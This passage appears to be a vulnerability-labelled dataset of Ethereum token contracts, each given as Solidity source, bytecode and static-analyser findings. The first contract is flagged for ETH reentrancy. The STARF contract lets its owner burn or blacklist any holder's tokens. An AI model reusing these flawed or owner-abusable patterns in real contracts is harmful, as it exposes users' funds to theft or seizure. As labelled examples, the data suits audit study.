memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610292578063b515566a146102b2578063c3c8cd80146102d2578063c9567bf9146102e7578063dd62ed3e146102fc57600080fd5b806370a0823114610235578063715018a6146102555780638da5cb5b1461026a57806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c2578063313ce567146101e45780635932ead1146102005780636fc3eaec1461022057600080fd5b806306fdde031461010e578063095ea7b31461014e57806318160ddd1461017e57806323b872dd146101a257600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820182526008815267536572656e69747960c01b60208201529051610145919061177d565b60405180910390f35b34801561015a57600080fd5b5061016e61016936600461161d565b610342565b6040519015158152602001610145565b34801561018a57600080fd5b5066038d7ea4c680005b604051908152602001610145565b3480156101ae57600080fd5b5061016e6101bd3660046115dc565b610359565b3480156101ce57600080fd5b506101e26101dd366004611569565b6103c2565b005b3480156101f057600080fd5b5060405160098152602001610145565b34801561020c57600080fd5b506101e261021b366004611715565b610416565b34801561022c57600080fd5b506101e261045e565b34801561024157600080fd5b50610194610250366004611569565b61048b565b34801561026157600080fd5b506101e26104ad565b34801561027657600080fd5b506000546040516001600160a01b039091168152602001610145565b34801561029e57600080fd5b5061016e6102ad36600461161d565b610521565b3480156102be57600080fd5b506101e26102cd366004611649565b61052e565b3480156102de57600080fd5b506101e26105c4565b3480156102f357600080fd5b506101e26105fa565b34801561030857600080fd5b506101946103173660046115a3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061034f3384846109b9565b5060015b92915050565b6000610366848484610add565b6103b884336103b385604051806060016040528060288152602001611969602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e2a565b6109b9565b5060019392505050565b6000546001600160a01b031633146103f55760405162461bcd60e51b81526004016103ec906117d2565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104405760405162461bcd60e51b81526004016103ec906117d2565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461047e57600080fd5b4761048881610e64565b50565b6001600160a01b03811660009081526002602052604081205461035390610ee9565b6000546001600160a01b031633146104d75760405162461bcd60e51b81526004016103ec906117d2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061034f338484610add565b6000546001600160a01b031633146105585760405162461bcd60e51b81526004016103ec906117d2565b60005b81518110156105c05760016006600084848151811061057c5761057c611919565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105b8816118e8565b91505061055b565b5050565b600c546001600160a01b0316336001600160a01b0316146105e457600080fd5b60006105ef3061048b565b905061048881610f6d565b6000546001600160a01b031633146106245760405162461bcd60e51b81526004016103ec906117d2565b600f54600160a01b900460ff161561067e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ec565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106b9308266038d7ea4c680006109b9565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106f257600080fd5b505afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a9190611586565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077257600080fd5b505afa158015610786573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa9190611586565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f257600080fd5b505af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a9190611586565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061085a8161048b565b60008061086f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108d257600080fd5b505af11580156108e6573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061090b919061174f565b5050600f80546512309ce5400060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561098157600080fd5b505af1158015610995573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c09190611732565b6001600160a01b038316610a1b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ec565b6001600160a01b038216610a7c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ec565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b415760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ec565b6001600160a01b038216610ba35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ec565b60008111610c055760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ec565b6001600a908155600b556000546001600160a01b03848116911614801590610c3b57506000546001600160a01b03838116911614155b15610e1a576001600160a01b03831660009081526006602052604090205460ff16158015610c8257506001600160a01b03821660009081526006602052604090205460ff16155b610c8b57600080fd5b600f546001600160a01b038481169116148015610cb65750600e546001600160a01b03838116911614155b8015610cdb57506001600160a01b03821660009081526005602052604090205460ff16155b8015610cf05750600f54600160b81b900460ff165b15610d4d57601054811115610d0457600080fd5b6001600160a01b0382166000908152600760205260409020544211610d2857600080fd5b610d3342603c611878565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d785750600e546001600160a01b03848116911614155b8015610d9d57506001600160a01b03831660009081526005602052604090205460ff16155b15610dad576001600a908155600b555b6000610db83061048b565b600f54909150600160a81b900460ff16158015610de35750600f546001600160a01b03858116911614155b8015610df85750600f54600160b01b900460ff165b15610e1857610e0681610f6d565b478015610e1657610e1647610e64565b505b505b610e258383836110f6565b505050565b60008184841115610e4e5760405162461bcd60e51b81526004016103ec919061177d565b506000610e5b84866118d1565b95945050505050565b600c546001600160a01b03166108fc610e7e836002611101565b6040518115909202916000818181858888f19350505050158015610ea6573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ec1836002611101565b6040518115909202916000818181858888f193505050501580156105c0573d6000803e3d6000fd5b6000600854821115610f505760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ec565b6000610f5a611143565b9050610f668382611101565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fb557610fb5611919565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561100957600080fd5b505afa15801561101d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110419190611586565b8160018151811061105457611054611919565b6001600160a01b039283166020918202929092010152600e5461107a91309116846109b9565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110b3908590600090869030904290600401611807565b600060405180830381600087803b1580156110cd57600080fd5b505af11580156110e1573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e25838383611166565b6000610f6683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061125d565b600080600061115061128b565b909250905061115f8282611101565b9250505090565b600080600080600080611178876112c9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111aa9087611326565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111d99086611368565b6001600160a01b0389166000908152600260205260409020556111fb816113c7565b6112058483611411565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161124a91815260200190565b60405180910390a3505050505050505050565b6000818361127e5760405162461bcd60e51b81526004016103ec919061177d565b506000610e5b8486611890565b600854600090819066038d7ea4c680006112a58282611101565b8210156112c05750506008549266038d7ea4c6800092509050565b90939092509050565b60008060008060008060008060006112e68a600a54600b54611435565b92509250925060006112f6611143565b905060008060006113098e87878761148a565b919e509c509a509598509396509194505050505091939550919395565b6000610f6683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e2a565b6000806113758385611878565b905083811015610f665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ec565b60006113d1611143565b905060006113df83836114da565b306000908152600260205260409020549091506113fc9082611368565b30600090815260026020526040902055505050565b60085461141e9083611326565b60085560095461142e9082611368565b6009555050565b600080808061144f606461144989896114da565b90611101565b9050600061146260646114498a896114da565b9050600061147a826114748b86611326565b90611326565b9992985090965090945050505050565b600080808061149988866114da565b905060006114a788876114da565b905060006114b588886114da565b905060006114c7826114748686611326565b939b939a50919850919650505050505050565b6000826114e957506000610353565b60006114f583856118b2565b9050826115028583611890565b14610f665760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ec565b803561156481611945565b919050565b60006020828403121561157b57600080fd5b8135610f6681611945565b60006020828403121561159857600080fd5b8151610f6681611945565b600080604083850312156115b657600080fd5b82356115c181611945565b915060208301356115d181611945565b809150509250929050565b6000806000606084860312156115f157600080fd5b83356115fc81611945565b9250602084013561160c81611945565b929592945050506040919091013590565b6000806040838503121561163057600080fd5b823561163b81611945565b946020939093013593505050565b6000602080838503121561165c57600080fd5b823567ffffffffffffffff8082111561167457600080fd5b818501915085601f83011261168857600080fd5b81358181111561169a5761169a61192f565b8060051b604051601f19603f830116810181811085821117156116bf576116bf61192f565b604052828152858101935084860182860187018a10156116de57600080fd5b600095505b83861015611708576116f481611559565b8552600195909501949386019386016116e3565b5098975050505050505050565b60006020828403121561172757600080fd5b8135610f668161195a565b60006020828403121561174457600080fd5b8151610f668161195a565b60008060006060848603121561176457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117aa5785810183015185820160400152820161178e565b818111156117bc576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118575784516001600160a01b031683529383019391830191600101611832565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561188b5761188b611903565b500190565b6000826118ad57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118cc576118cc611903565b500290565b6000828210156118e3576118e3611903565b500390565b60006000198214156118fc576118fc611903565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048857600080fd5b801515811461048857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206df8b9e1faca57f94134ebc02966259abd6aeda8ae6552b269790d6833df851b64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,019
0xb384c76242603ad0dcb6faa7e7e296a47aa96d4d
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract STARF is Context, IERC20 { using SafeMath for uint256; using Address for address; struct lockDetail{ uint256 amountToken; uint256 lockUntil; } mapping (address => uint256) private _balances; mapping (address => bool) private _blacklist; mapping (address => bool) private _isAdmin; mapping (address => lockDetail) private _lockInfo; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PutToBlacklist(address indexed target, bool indexed status); event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil); constructor (string memory name, string memory symbol, uint256 amount) { _name = name; _symbol = symbol; _setupDecimals(18); address msgSender = _msgSender(); _owner = msgSender; _isAdmin[msgSender] = true; _mint(msgSender, amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function isAdmin(address account) public view returns (bool) { return _isAdmin[account]; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyAdmin() { require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function promoteAdmin(address newAdmin) public virtual onlyOwner { require(_isAdmin[newAdmin] == false, "Ownable: address is already admin"); require(newAdmin != address(0), "Ownable: new admin is the zero address"); _isAdmin[newAdmin] = true; } function demoteAdmin(address oldAdmin) public virtual onlyOwner { require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin"); require(oldAdmin != address(0), "Ownable: old admin is the zero address"); _isAdmin[oldAdmin] = false; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isBlackList(address account) public view returns (bool) { return _blacklist[account]; } function getLockInfo(address account) public view returns (uint256, uint256) { lockDetail storage sys = _lockInfo[account]; if(block.timestamp > sys.lockUntil){ return (0,0); }else{ return ( sys.amountToken, sys.lockUntil ); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) { _transfer(_msgSender(), recipient, amount); _wantLock(recipient, amount, lockUntil); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){ _wantLock(targetaddress, amount, lockUntil); return true; } function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){ _wantUnlock(targetaddress); return true; } function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){ _burn(targetaddress, amount); return true; } function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantblacklist(targetaddress); return true; } function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantunblacklist(targetaddress); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { lockDetail storage sys = _lockInfo[sender]; require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[sender] == false, "ERC20: sender address "); _beforeTokenTransfer(sender, recipient, amount); if(sys.amountToken > 0){ if(block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); }else{ uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance"); _balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = _balances[sender].add(sys.amountToken); _balances[recipient] = _balances[recipient].add(amount); } }else{ _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances"); if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; } sys.lockUntil = unlockDate; sys.amountToken = sys.amountToken.add(amountLock); emit LockUntil(account, sys.amountToken, unlockDate); } function _wantUnlock(address account) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); sys.lockUntil = 0; sys.amountToken = 0; emit LockUntil(account, 0, 0); } function _wantblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == false, "ERC20: Address already in blacklist"); _blacklist[account] = true; emit PutToBlacklist(account, true); } function _wantunblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == true, "ERC20: Address not blacklisted"); _blacklist[account] = false; emit PutToBlacklist(account, false); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600